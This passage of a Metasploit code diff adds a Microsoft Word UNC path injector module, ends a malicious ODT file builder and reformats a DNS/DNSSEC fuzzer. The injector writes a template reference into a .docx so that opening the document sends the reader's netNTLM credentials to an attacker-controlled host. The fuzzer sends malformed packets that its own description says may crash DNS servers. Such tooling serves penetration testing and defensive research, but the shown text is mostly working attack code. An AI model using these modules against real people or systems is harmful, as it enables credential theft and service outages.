+ [ + { data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'content.xml')), fname: 'content.xml' }, + { data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'manifest.rdf')), fname: 'manifest.rdf' }, + { data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'meta.xml')), fname: 'meta.xml' }, + { data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'settings.xml')), fname: 'settings.xml' }, + { data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'styles.xml')), fname: 'styles.xml' }, + { data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'manifest.xml')), fname: 'META-INF/manifest.xml' }, + { data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'thumbnail.png')), fname: 'Thumbnails/thumbnail.png' } + ] zip = Msf::Util::EXE.to_zip(files) file_create(zip) - end end end diff --git a/modules/auxiliary/fileformat/word_unc_injector.rb b/modules/auxiliary/fileformat/word_unc_injector.rb new file mode 100644 index 0000000000000..b05ca0a644606 --- /dev/null +++ b/modules/auxiliary/fileformat/word_unc_injector.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'zip' +require 'rex/zip' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::FILEFORMAT + include Msf::Module::Deprecated + + moved_from 'auxiliary/docx/word_unc_injector' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Microsoft Word UNC Path Injector', + 'Description' => %q{ + This module modifies a .docx file that will, upon opening, submit stored + netNTLM credentials to a remote host. It can also create an empty docx file. If + emailed the receiver needs to put the document in editing mode before the remote + server will be contacted. Preview and read-only mode do not work. Verified to work + with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the + auxiliary/server/capture/smb module can be used. + }, + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ] + ], + 'Author' => [ + 'SphaZ ' + ], + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptAddressLocal.new('LHOST', [true, 'Server IP or hostname that the .docx document points to.']), + OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']), + OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']), + OptString.new('DOCAUTHOR', [false, 'Document author for empty document.']), + ] + ) + end + + # here we create an empty .docx file with the UNC path. Only done when FILENAME is empty + def make_new_file + metadata_file_data = '' + metadata_file_data << '' + metadata_file_data << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}" + metadata_file_data << '1' + metadata_file_data << '2013-01-08T14:14:00Z' + metadata_file_data << '2013-01-08T14:14:00Z' + + # where to find the skeleton files required for creating an empty document + data_dir = File.join(Msf::Config.data_directory, 'exploits', 'docx') + + zip_data = {} + + # add skeleton files + vprint_status("Adding skeleton files from #{data_dir}") + Dir["#{data_dir}/**/**"].each do |file| + if !File.directory?(file) + zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb') + end + end + + # add on-the-fly created documents + vprint_status('Adding injected files') + zip_data['docProps/core.xml'] = metadata_file_data + zip_data['word/_rels/settings.xml.rels'] = @rels_file_data + + # add the otherwise skipped "hidden" file + file = "#{data_dir}/_rels/.rels" + zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb') + # and lets create the file + zip_docx(zip_data) + end + + # here we inject an UNC path into an existing file, and store the injected file in FILENAME + def manipulate_file(file_path) + fail_with(Failure::BadConfig, 'Not enough rights to read the file. Aborting.') unless File.stat(file_path).readable? + + # lets extract our docx and store it in memory + zip_data = unzip_docx(file_path) + + # file to check for reference file we need + file_content = zip_data['word/settings.xml'] + if file_content.nil? + fail_with(Failure::BadConfig, 'Bad "word/settings.xml" file, check if it is a valid .docx.') + end + + # if we can find the reference to our inject file, we don't need to add it and can just inject our unc path. + if file_content.to_s.include?('w:attachedTemplate r:id="rId1"') + vprint_status('Reference to rels file already exists in settings file, we dont need to add it :)') + zip_docx(zip_data) + return true + end + + ref = '' + + # now insert the reference to the file that will enable our malicious entry + insert_one = file_content.index('' + @rels_file_data << '' + @rels_file_data << '" + + if datastore['SOURCE'].blank? + # make an empty file + print_status("Creating empty document that points to #{datastore['LHOST']}.") + make_new_file + else + # extract the word/settings.xml and edit in the reference we need + print_status('Injecting UNC path into existing document.') + unless manipulate_file(datastore['SOURCE']) + fail_with(Failure::Unknown, "Failed to create a document from #{datastore['SOURCE']}.") + end + print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") + end + end +end diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 66d307b5064ec..b06ef9a8df0d5 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -13,35 +13,40 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'DNS and DNSSEC Fuzzer', - 'Description' => %q{ + 'Name' => 'DNS and DNSSEC Fuzzer', + 'Description' => %q{ This module will connect to a DNS server and perform DNS and DNSSEC protocol-level fuzzing. Note that this module may inadvertently crash the target server. }, - 'Author' => [ 'pello ' ], - 'License' => MSF_LICENSE + 'Author' => [ 'pello ' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ Opt::RPORT(53), - OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize.",0]), - OptInt.new('ENDSIZE', [ false, "Max Fuzzing string size. (L2 Frame size)",500]), - OptInt.new('STEPSIZE', [ false, "Increment fuzzing string each attempt.",100]), - OptInt.new('ERRORHDR', [ false, "Introduces byte error in the DNS header.", 0]), - OptBool.new('CYCLIC', [ false, "Use Cyclic pattern instead of A's (fuzzing payload).",true]), - OptInt.new("ITERATIONS", [true, "Number of iterations to run by test case", 5]), - OptString.new('DOMAIN', [ false, "Force DNS zone domain name."]), - OptString.new('IMPORTENUM', [ false, "Import dns_enum database output and automatically use existing RR."]), + OptInt.new('STARTSIZE', [ false, 'Fuzzing string startsize.', 0]), + OptInt.new('ENDSIZE', [ false, 'Max Fuzzing string size. (L2 Frame size)', 500]), + OptInt.new('STEPSIZE', [ false, 'Increment fuzzing string each attempt.', 100]), + OptInt.new('ERRORHDR', [ false, 'Introduces byte error in the DNS header.', 0]), + OptBool.new('CYCLIC', [ false, "Use Cyclic pattern instead of A's (fuzzing payload).", true]), + OptInt.new('ITERATIONS', [true, 'Number of iterations to run by test case', 5]), + OptString.new('DOMAIN', [ false, 'Force DNS zone domain name.']), + OptString.new('IMPORTENUM', [ false, 'Import dns_enum database output and automatically use existing RR.']), OptEnum.new('METHOD', [false, 'Underlayer protocol to use', 'UDP', ['UDP', 'TCP', 'AUTO']]), - OptBool.new('DNSSEC', [ false, "Add DNSsec to each question (UDP payload size, EDNS0, ...)",false]), - OptBool.new('TRAILINGNUL', [ false, "NUL byte terminate DNS names",true]), - OptBool.new('RAWPADDING', [ false, "Generate totally random data from STARTSIZE to ENDSIZE",false]), - OptString.new('OPCODE', [ false, "Comma separated list of opcodes to fuzz. Leave empty to fuzz all fields.",'' ]), + OptBool.new('DNSSEC', [ false, 'Add DNSsec to each question (UDP payload size, EDNS0, ...)', false]), + OptBool.new('TRAILINGNUL', [ false, 'NUL byte terminate DNS names', true]), + OptBool.new('RAWPADDING', [ false, 'Generate totally random data from STARTSIZE to ENDSIZE', false]), + OptString.new('OPCODE', [ false, 'Comma separated list of opcodes to fuzz. Leave empty to fuzz all fields.', '' ]), # OPCODE accepted values: QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE - OptString.new('CLASS', [ false, "Comma separated list of classes to fuzz. Leave empty to fuzz all fields.",'' ]), + OptString.new('CLASS', [ false, 'Comma separated list of classes to fuzz. Leave empty to fuzz all fields.', '' ]), # CLASS accepted values: IN,CH,HS,NONE,ANY - OptString.new('RR', [ false, "Comma separated list of requests to fuzz. Leave empty to fuzz all fields.",'' ]) + OptString.new('RR', [ false, 'Comma separated list of requests to fuzz. Leave empty to fuzz all fields.', '' ]) # RR accepted values: A,CNAME,MX,PTR,TXT,AAAA,HINFO,SOA,NS,WKS,RRSIG,DNSKEY,DS,NSEC,NSEC3,NSEC3PARAM # RR accepted values: AFSDB,ISDN,RP,RT,X25,PX,SRV,NAPTR,MD,MF,MB,MG,MR,NULL,MINFO,NSAP,NSAP-PTR,SIG # RR accepted values: KEY,GPOS,LOC,NXT,EID,NIMLOC,ATMA,KX,CERT,A6,DNAME,SINK,OPT,APL,SSHFP,IPSECKEY @@ -50,7 +55,7 @@ def initialize ]) end - class Dns_header < BinData::Record + class DnsHeader < BinData::Record endian :big uint16 :txid, initial_value: rand(0xffff) bit1 :qr @@ -68,7 +73,7 @@ class Dns_header < BinData::Record rest :payload end - class Dns_add_rr < BinData::Record + class DnsAddRr < BinData::Record endian :big uint8 :name uint16 :rr_type, initial_value: 0x0029 @@ -89,72 +94,70 @@ def check_response_construction(pkt) if pkt[4].to_i >= 0x17 || (pkt[4].to_i >= 0x0b && pkt[4].to_i <= 0x0f) print_error("#{msg} Server replied incorrectly to the following request:\n#{@lastdata.unpack('H*')}") return false - else - return true end + + return true end def dns_alive(method) - connect_udp if method == "UDP" || method == "AUTO" - connect if method == "TCP" - - payload = "" - domain = "" - if @domain == nil - domain << Rex::Text.rand_text_alphanumeric(rand(2)+2) - domain << "." - domain << Rex::Text.rand_text_alphanumeric(rand(6)+3) - domain << "." + connect_udp if method == 'UDP' || method == 'AUTO' + connect if method == 'TCP' + domain = '' + domain << Rex::Text.rand_text_alphanumeric(2..3) + domain << '.' + if @domain.nil? + domain << Rex::Text.rand_text_alphanumeric(3..8) + domain << '.' domain << Rex::Text.rand_text_alphanumeric(2) else - domain << Rex::Text.rand_text_alphanumeric(rand(2)+2) - domain << "." domain << @domain end - splitFQDN = domain.split('.') - payload = splitFQDN.inject("") { |a,x| a + [x.length,x].pack("CA*") } - pkt = Dns_header.new + split_fqdn = domain.split('.') + payload = split_fqdn.inject('') { |a, x| a + [x.length, x].pack('CA*') } + pkt = DnsHeader.new pkt.txid = rand(0xffff) pkt.opcode = 0x0000 pkt.payload = payload + "\x00" + "\x00\x01" + "\x00\x01" - testingPkt = pkt.to_binary_s + testing_pkt = pkt.to_binary_s - if method == "UDP" - udp_sock.put(testingPkt) - res, addr = udp_sock.recvfrom(65535) + if method == 'UDP' + udp_sock.put(testing_pkt) + res, = udp_sock.recvfrom(65535) disconnect_udp - elsif method == "TCP" - sock.put(testingPkt) - res, addr = sock.get_once(-1, 20) + elsif method == 'TCP' + sock.put(testing_pkt) + res, = sock.get_once(-1, 20) disconnect end if res && res.empty? print_error("#{msg} The remote server is not responding to DNS requests.") return false - else - return true end + + return true end def fuzz_padding(payload, size) padding = size - payload.length - if padding <= 0 then return payload end + + return payload if padding <= 0 + if datastore['CYCLIC'] @fuzzdata = Rex::Text.rand_text_alphanumeric(padding) else @fuzzdata = 'A' * padding end - payload = payload.ljust(padding, @fuzzdata) - return payload + + return payload.ljust(padding, @fuzzdata) end - def corrupt_header(pkt,nb) + def corrupt_header(pkt, nb) len = pkt.length - 1 - for i in 0..nb - 1 - selectByte = rand(len) - pkt[selectByte] = [rand(255).to_s].pack('H') + for _ in 0..nb - 1 + select_byte = rand(len) + pkt[select_byte] = [rand(255).to_s].pack('H') end return pkt end @@ -167,130 +170,130 @@ def random_payload(size) return pkt end - def setup_fqdn(domain,entry) - if domain == nil - domain = "" - domain << Rex::Text.rand_text_alphanumeric(rand(62)+2) - domain << "." - domain << Rex::Text.rand_text_alphanumeric(rand(61)+3) - domain << "." - domain << Rex::Text.rand_text_alphanumeric(rand(62)+2) + def setup_fqdn(domain, entry) + if domain.nil? + domain = '' + domain << Rex::Text.rand_text_alphanumeric(2..63) + domain << '.' + domain << Rex::Text.rand_text_alphanumeric(3..63) + domain << '.' + domain << Rex::Text.rand_text_alphanumeric(2..63) elsif @dnsfile - domain = entry + "." + domain + domain = entry + '.' + domain else - domain = Rex::Text.rand_text_alphanumeric(rand(62)+2) + "." + domain + domain = Rex::Text.rand_text_alphanumeric(2..63) + '.' + domain end + return domain end def import_enum_data(dnsfile) - enumdata = Array.new(count = File.foreach(dnsfile).inject(0) {|c, line| c+1}, 0) + enumdata = Array.new(File.foreach(dnsfile).inject(0) { |c, _line| c + 1 }, 0) idx = 0 - File.open(dnsfile,"rb").each_line do |line| - line = line.split(",") + File.open(dnsfile, 'rb').each_line do |line| + line = line.split(',') enumdata[idx] = Hash.new enumdata[idx][:name] = line[0].strip enumdata[idx][:rr] = line[1].strip enumdata[idx][:class] = line[2].strip - idx = idx + 1 + idx += 1 end return enumdata end def setup_nsclass(nsclass) - classns = "" + classns = '' for idx in nsclass classns << { - "IN" => 0x0001, "CH" => 0x0003, "HS" => 0x0004, - "NONE" => 0x00fd, "ANY" => 0x00ff - }.values_at(idx).pack("n") + 'IN' => 0x0001, 'CH' => 0x0003, 'HS' => 0x0004, + 'NONE' => 0x00fd, 'ANY' => 0x00ff + }.values_at(idx).pack('n') end return classns end def setup_opcode(nsopcode) - opcode = "" + opcode = '' for idx in nsopcode opcode << { - "QUERY" => 0x0000, "IQUERY" => 0x0001, "STATUS" => 0x0002, - "UNASSIGNED" => 0x0003, "NOTIFY" => 0x0004, "UPDATE" => 0x0005 - }.values_at(idx).pack("n") + 'QUERY' => 0x0000, 'IQUERY' => 0x0001, 'STATUS' => 0x0002, + 'UNASSIGNED' => 0x0003, 'NOTIFY' => 0x0004, 'UPDATE' => 0x0005 + }.values_at(idx).pack('n') end return opcode end def setup_reqns(nsreq) - reqns= "" + reqns = '' for idx in nsreq reqns << { - "A" => 0x0001, "NS" => 0x0002, "MD" => 0x0003, "MF" => 0x0004, - "CNAME" => 0x0005, "SOA" => 0x0006, "MB" => 0x0007, "MG" => 0x0008, - "MR" => 0x0009, "NULL" => 0x000a, "WKS" => 0x000b, "PTR" => 0x000c, - "HINFO" => 0x000d, "MINFO" => 0x000e, "MX" => 0x000f, "TXT" => 0x0010, - "RP" => 0x0011, "AFSDB" => 0x0012, "X25" => 0x0013, "ISDN" => 0x0014, - "RT" => 0x0015, "NSAP" => 0x0016, "NSAP-PTR" => 0x0017, "SIG" => 0x0018, - "KEY" => 0x0019, "PX" => 0x001a, "GPOS" => 0x001b, "AAAA" => 0x001c, - "LOC" => 0x001d, "NXT" => 0x001e, "EID" => 0x001f, "NIMLOC" => 0x0020, - "SRV" => 0x0021, "ATMA" => 0x0022, "NAPTR" => 0x0023, "KX" => 0x0024, - "CERT" => 0x0025, "A6" => 0x0026, "DNAME" => 0x0027, "SINK" => 0x0028, - "OPT" => 0x0029, "APL" => 0x002a, "DS" => 0x002b, "SSHFP" => 0x002c, - "IPSECKEY" => 0x002d, "RRSIG" => 0x002e, "NSEC" => 0x002f, "DNSKEY" => 0x0030, - "DHCID" => 0x0031, "NSEC3" => 0x0032, "NSEC3PARAM" => 0x0033, "HIP" => 0x0037, - "NINFO" => 0x0038, "RKEY" => 0x0039, "TALINK" => 0x003a, "SPF" => 0x0063, - "UINFO" => 0x0064, "UID" => 0x0065, "GID" => 0x0066, "UNSPEC" => 0x0067, - "TKEY" => 0x00f9, "TSIG" => 0x00fa, "IXFR" => 0x00fb, "AXFR" => 0x00fc, - "MAILA" => 0x00fd, "MAILB" => 0x00fe, "*" => 0x00ff, "TA" => 0x8000, - "DLV" => 0x8001, "RESERVED" => 0xffff - }.values_at(idx).pack("n") + 'A' => 0x0001, 'NS' => 0x0002, 'MD' => 0x0003, 'MF' => 0x0004, + 'CNAME' => 0x0005, 'SOA' => 0x0006, 'MB' => 0x0007, 'MG' => 0x0008, + 'MR' => 0x0009, 'NULL' => 0x000a, 'WKS' => 0x000b, 'PTR' => 0x000c, + 'HINFO' => 0x000d, 'MINFO' => 0x000e, 'MX' => 0x000f, 'TXT' => 0x0010, + 'RP' => 0x0011, 'AFSDB' => 0x0012, 'X25' => 0x0013, 'ISDN' => 0x0014, + 'RT' => 0x0015, 'NSAP' => 0x0016, 'NSAP-PTR' => 0x0017, 'SIG' => 0x0018, + 'KEY' => 0x0019, 'PX' => 0x001a, 'GPOS' => 0x001b, 'AAAA' => 0x001c, + 'LOC' => 0x001d, 'NXT' => 0x001e, 'EID' => 0x001f, 'NIMLOC' => 0x0020, + 'SRV' => 0x0021, 'ATMA' => 0x0022, 'NAPTR' => 0x0023, 'KX' => 0x0024, + 'CERT' => 0x0025, 'A6' => 0x0026, 'DNAME' => 0x0027, 'SINK' => 0x0028, + 'OPT' => 0x0029, 'APL' => 0x002a, 'DS' => 0x002b, 'SSHFP' => 0x002c, + 'IPSECKEY' => 0x002d, 'RRSIG' => 0x002e, 'NSEC' => 0x002f, 'DNSKEY' => 0x0030, + 'DHCID' => 0x0031, 'NSEC3' => 0x0032, 'NSEC3PARAM' => 0x0033, 'HIP' => 0x0037, + 'NINFO' => 0x0038, 'RKEY' => 0x0039, 'TALINK' => 0x003a, 'SPF' => 0x0063, + 'UINFO' => 0x0064, 'UID' => 0x0065, 'GID' => 0x0066, 'UNSPEC' => 0x0067, + 'TKEY' => 0x00f9, 'TSIG' => 0x00fa, 'IXFR' => 0x00fb, 'AXFR' => 0x00fc, + 'MAILA' => 0x00fd, 'MAILB' => 0x00fe, '*' => 0x00ff, 'TA' => 0x8000, + 'DLV' => 0x8001, 'RESERVED' => 0xffff + }.values_at(idx).pack('n') end return reqns end - def build_packet(dnsOpcode,dnssec,trailingnul,reqns,classns,payload) - pkt = Dns_header.new - pkt.opcode = dnsOpcode + def build_packet(dns_opcode, dnssec, trailingnul, reqns, classns, payload) + pkt = DnsHeader.new + pkt.opcode = dns_opcode if trailingnul if @dnsfile pkt.payload = payload + "\x00" + reqns + classns else - pkt.payload = payload + "\x00" + [reqns].pack("n") + [classns].pack("n") + pkt.payload = payload + "\x00" + [reqns].pack('n') + [classns].pack('n') end + elsif @dnsfile + pkt.payload = payload + [rand(1..255).to_s].pack('H') + reqns + classns else - if @dnsfile - pkt.payload = payload + [(rand(255) + 1).to_s].pack('H') + reqns + classns - else - pkt.payload = payload + [(rand(255) + 1).to_s].pack('H') + [dnsReq].pack("n") + [dnsClass].pack("n") - end + pkt.payload = payload + [rand(1..255).to_s].pack('H') + [dns_req].pack('n') + [dns_class].pack('n') end + if dnssec - dnssecpkt = Dns_add_rr.new + dnssecpkt = DnsAddRr.new pkt.additionalRR = 1 pkt.payload = dnssecpkt.to_binary_s end - return pkt.to_binary_s + + pkt.to_binary_s end - def dns_send(data,method) - method = "UDP" if (method == "AUTO" && data.length < 512) - method = "TCP" if (method == "AUTO" && data.length >= 512) + def dns_send(data, method) + method = 'UDP' if method == 'AUTO' && data.length < 512 + method = 'TCP' if method == 'AUTO' && data.length >= 512 - connect_udp if method == "UDP" - connect if method == "TCP" - udp_sock.put(data) if method == "UDP" - sock.put(data) if method == "TCP" + connect_udp if method == 'UDP' + connect if method == 'TCP' + udp_sock.put(data) if method == 'UDP' + sock.put(data) if method == 'TCP' - res, addr = udp_sock.recvfrom(65535,1) if method == "UDP" - res, addr = sock.get_once(-1,1) if method == "TCP" + res, = udp_sock.recvfrom(65535, 1) if method == 'UDP' + res, = sock.get_once(-1, 1) if method == 'TCP' - disconnect_udp if method == "UDP" - disconnect if method == "TCP" + disconnect_udp if method == 'UDP' + disconnect if method == 'TCP' - if res && res.length == 0 - @failCount += 1 - if @failCount == 1 - @probablyVuln = @lastdata if @lastdata != nil - return true - elsif @failCount >= 3 + if res && res.empty? + @fail_count += 1 + if @fail_count == 1 + @probably_vuln = @lastdata if !@lastdata.nil? + elsif @fail_count >= 3 if dns_alive(method) == false if @lastdata print_error("#{msg} DNS is DOWN since the request:") @@ -299,186 +302,186 @@ def dns_send(data,method) print_error("#{msg} DNS is DOWN") end return false - else - return true end - else - return true end - elsif res && res.length > 0 + return true + elsif res && !res.empty? @lastdata = data if res[3].to_i >= 0x8000 # ignore server response as a query - @failCount = 0 + @fail_count = 0 return true end + if @rawpadding - @failCount = 0 + @fail_count = 0 return true end + if check_response_construction(res) - @failCount = 0 + @fail_count = 0 return true - else - return false end + + return false end end def fix_variables - @fuzz_opcode = datastore['OPCODE'].blank? ? "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE" : datastore['OPCODE'] - @fuzz_class = datastore['CLASS'].blank? ? "IN,CH,HS,NONE,ANY" : datastore['CLASS'] - fuzz_rr_queries = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR," << - "HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT," << - "NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT," << - "EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME," << - "SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC," << - "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," << - "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," << - "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" - @fuzz_rr = datastore['RR'].blank? ? fuzz_rr_queries : datastore['RR'] + @fuzz_opcode = datastore['OPCODE'].blank? ? 'QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE' : datastore['OPCODE'] + @fuzz_class = datastore['CLASS'].blank? ? 'IN,CH,HS,NONE,ANY' : datastore['CLASS'] + fuzz_rr_queries = 'A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR,' \ + 'HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT,' \ + 'NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT,' \ + 'EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME,' \ + 'SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC,' \ + 'DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY,' \ + 'TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG,' \ + 'IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED' + @fuzz_rr = datastore['RR'].blank? ? fuzz_rr_queries : datastore['RR'] end def run_host(ip) msg = "#{ip}:#{rhost} - DNS -" - begin - @lastdata = nil - @probablyVuln = nil - @startsize = datastore['STARTSIZE'] - @stepsize = datastore['STEPSIZE'] - @endsize = datastore['ENDSIZE'] - @underlayerProtocol = datastore['METHOD'] - @failCount = 0 - @domain = datastore['DOMAIN'] - @dnsfile = datastore['IMPORTENUM'] - @rawpadding = datastore['RAWPADDING'] - iter = datastore['ITERATIONS'] - dnssec = datastore['DNSSEC'] - errorhdr = datastore['ERRORHDR'] - trailingnul = datastore['TRAILINGNUL'] - - fix_variables - - if !dns_alive(@underlayerProtocol) then return false end - - print_status("#{msg} Fuzzing DNS server, this may take a while.") - - if @startsize < 12 && @startsize > 0 - print_status("#{msg} STARTSIZE must be at least 12. STARTSIZE value has been modified.") - @startsize = 12 - end + @lastdata = nil + @probably_vuln = nil + @startsize = datastore['STARTSIZE'] + @stepsize = datastore['STEPSIZE'] + @endsize = datastore['ENDSIZE'] + @underlayer_protocol = datastore['METHOD'] + @fail_count = 0 + @domain = datastore['DOMAIN'] + @dnsfile = datastore['IMPORTENUM'] + @rawpadding = datastore['RAWPADDING'] + iter = datastore['ITERATIONS'] + dnssec = datastore['DNSSEC'] + errorhdr = datastore['ERRORHDR'] + trailingnul = datastore['TRAILINGNUL'] + + fix_variables + + return false if !dns_alive(@underlayer_protocol) + + print_status("#{msg} Fuzzing DNS server, this may take a while.") + + if @startsize < 12 && @startsize > 0 + print_status("#{msg} STARTSIZE must be at least 12. STARTSIZE value has been modified.") + @startsize = 12 + end - if @rawpadding - if @domain == nil - print_status("DNS Fuzzer: DOMAIN could be set for health check but not mandatory.") - end - nsopcode=@fuzz_opcode.split(",") - opcode = setup_opcode(nsopcode) - opcode.unpack("n*").each do |dnsOpcode| - 1.upto(iter) do - while @startsize <= @endsize - data = random_payload(@startsize).to_s - data[2] = 0x0 - data[3] = dnsOpcode - if !dns_send(data,@underlayerProtocol) then return false end - @lastdata = data - @startsize += @stepsize - end - @startsize = datastore['STARTSIZE'] + if @rawpadding + if @domain.nil? + print_status('DNS Fuzzer: DOMAIN could be set for health check but not mandatory.') + end + nsopcode = @fuzz_opcode.split(',') + opcode = setup_opcode(nsopcode) + opcode.unpack('n*').each do |dns_opcode| + 1.upto(iter) do + while @startsize <= @endsize + data = random_payload(@startsize).to_s + data[2] = 0x0 + data[3] = dns_opcode + return false if !dns_send(data, @underlayer_protocol) + + @lastdata = data + @startsize += @stepsize end + @startsize = datastore['STARTSIZE'] end + end + return + end + + if @dnsfile + if @domain.nil? + print_error('DNS Fuzzer: Domain variable must be set.') return end - if @dnsfile - if @domain == nil - print_error("DNS Fuzzer: Domain variable must be set.") - return - end + dnsenumdata = import_enum_data(@dnsfile) + nsreq = [] + nsclass = [] + nsentry = [] + for req, _ in dnsenumdata + nsreq << req[:rr] + nsclass << req[:class] + nsentry << req[:name] + end + nsopcode = @fuzz_opcode.split(',') + else + nsreq = @fuzz_rr.split(',') + nsopcode = @fuzz_opcode.split(',') + nsclass = @fuzz_class.split(',') + begin + classns = setup_nsclass(nsclass) + raise ArgumentError, "Invalid CLASS: #{nsclass.inspect}" unless classns - dnsenumdata = import_enum_data(@dnsfile) - nsreq = [] - nsclass = [] - nsentry = [] - for req, value in dnsenumdata - nsreq << req[:rr] - nsclass << req[:class] - nsentry << req[:name] - end - nsopcode=@fuzz_opcode.split(",") - else - nsreq=@fuzz_rr.split(",") - nsopcode=@fuzz_opcode.split(",") - nsclass=@fuzz_class.split(",") - begin - classns = setup_nsclass(nsclass) - raise ArgumentError, "Invalid CLASS: #{nsclass.inspect}" unless classns - opcode = setup_opcode(nsopcode) - raise ArgumentError, "Invalid OPCODE: #{opcode.inspect}" unless nsopcode - reqns = setup_reqns(nsreq) - raise ArgumentError, "Invalid RR: #{nsreq.inspect}" unless nsreq - rescue ::Exception => e - print_error("DNS Fuzzer error, aborting: #{e}") - return - end + opcode = setup_opcode(nsopcode) + raise ArgumentError, "Invalid OPCODE: #{opcode.inspect}" unless nsopcode + + reqns = setup_reqns(nsreq) + raise ArgumentError, "Invalid RR: #{nsreq.inspect}" unless nsreq + rescue StandardError => e + print_error("DNS Fuzzer error, aborting: #{e}") + return end + end - for question in nsreq - case question - when "RRSIG", "DNSKEY", "DS", "NSEC", "NSEC3", "NSEC3PARAM" - dnssec = true - end + for question in nsreq + case question + when 'RRSIG', 'DNSKEY', 'DS', 'NSEC', 'NSEC3', 'NSEC3PARAM' + dnssec = true end + end - if @dnsfile - classns = setup_nsclass(nsclass) - reqns = setup_reqns(nsreq) - opcode = setup_opcode(nsopcode) - opcode.unpack("n*").each do |dnsOpcode| - for i in 0..nsentry.length - 1 - reqns = setup_reqns(nsreq[i]) - classns = setup_nsclass(nsclass[i]) - 1.upto(iter) do - payload = "" - nsdomain = setup_fqdn(@domain,nsentry[i]) - splitFQDN = nsdomain.split('.') - payload = splitFQDN.inject("") { |a,x| a + [x.length,x].pack("CA*") } - pkt = build_packet(dnsOpcode,dnssec,trailingnul,reqns,classns,payload) - pkt = corrupt_header(pkt,errorhdr) if errorhdr > 0 - if @startsize == 0 - if !dns_send(pkt,@underlayerProtocol) then return end - else - while @startsize <= @endsize - pkt = fuzz_padding(pkt, @startsize) - if !dns_send(pkt,@underlayerProtocol) then return end - @startsize += @stepsize - end - @startsize = datastore['STARTSIZE'] - end + if @dnsfile + classns = setup_nsclass(nsclass) + reqns = setup_reqns(nsreq) + opcode = setup_opcode(nsopcode) + opcode.unpack('n*').each do |dns_opcode| + for i in 0..nsentry.length - 1 + reqns = setup_reqns(nsreq[i]) + classns = setup_nsclass(nsclass[i]) + 1.upto(iter) do + nsdomain = setup_fqdn(@domain, nsentry[i]) + split_fqdn = nsdomain.split('.') + payload = split_fqdn.inject('') { |a, x| a + [x.length, x].pack('CA*') } + pkt = build_packet(dns_opcode, dnssec, trailingnul, reqns, classns, payload) + pkt = corrupt_header(pkt, errorhdr) if errorhdr > 0 + if @startsize == 0 && !dns_send(pkt, @underlayer_protocol) + break + end + + while @startsize <= @endsize + pkt = fuzz_padding(pkt, @startsize) + break if !dns_send(pkt, @underlayer_protocol) + + @startsize += @stepsize end + @startsize = datastore['STARTSIZE'] end end - else - classns.unpack("n*").each do |dnsClass| - opcode.unpack("n*").each do |dnsOpcode| - reqns.unpack("n*").each do |dnsReq| - 1.upto(iter) do - payload = "" - nsdomain = setup_fqdn(@domain,"") - splitFQDN = nsdomain.split('.') - payload = splitFQDN.inject("") { |a,x| a + [x.length,x].pack("CA*") } - pkt = build_packet(dnsOpcode,dnssec,trailingnul,dnsReq,dnsClass,payload) - pkt = corrupt_header(pkt,errorhdr) if errorhdr > 0 - if @startsize == 0 - if !dns_send(pkt,@underlayerProtocol) then return end # If then return end? - else - while @startsize <= @endsize - pkt = fuzz_padding(pkt, @startsize) - if !dns_send(pkt,@underlayerProtocol) then return end - @startsize += @stepsize - end - @startsize = datastore['STARTSIZE'] - end + end + else + classns.unpack('n*').each do |dns_class| + opcode.unpack('n*').each do |dns_opcode| + reqns.unpack('n*').each do |dns_req| 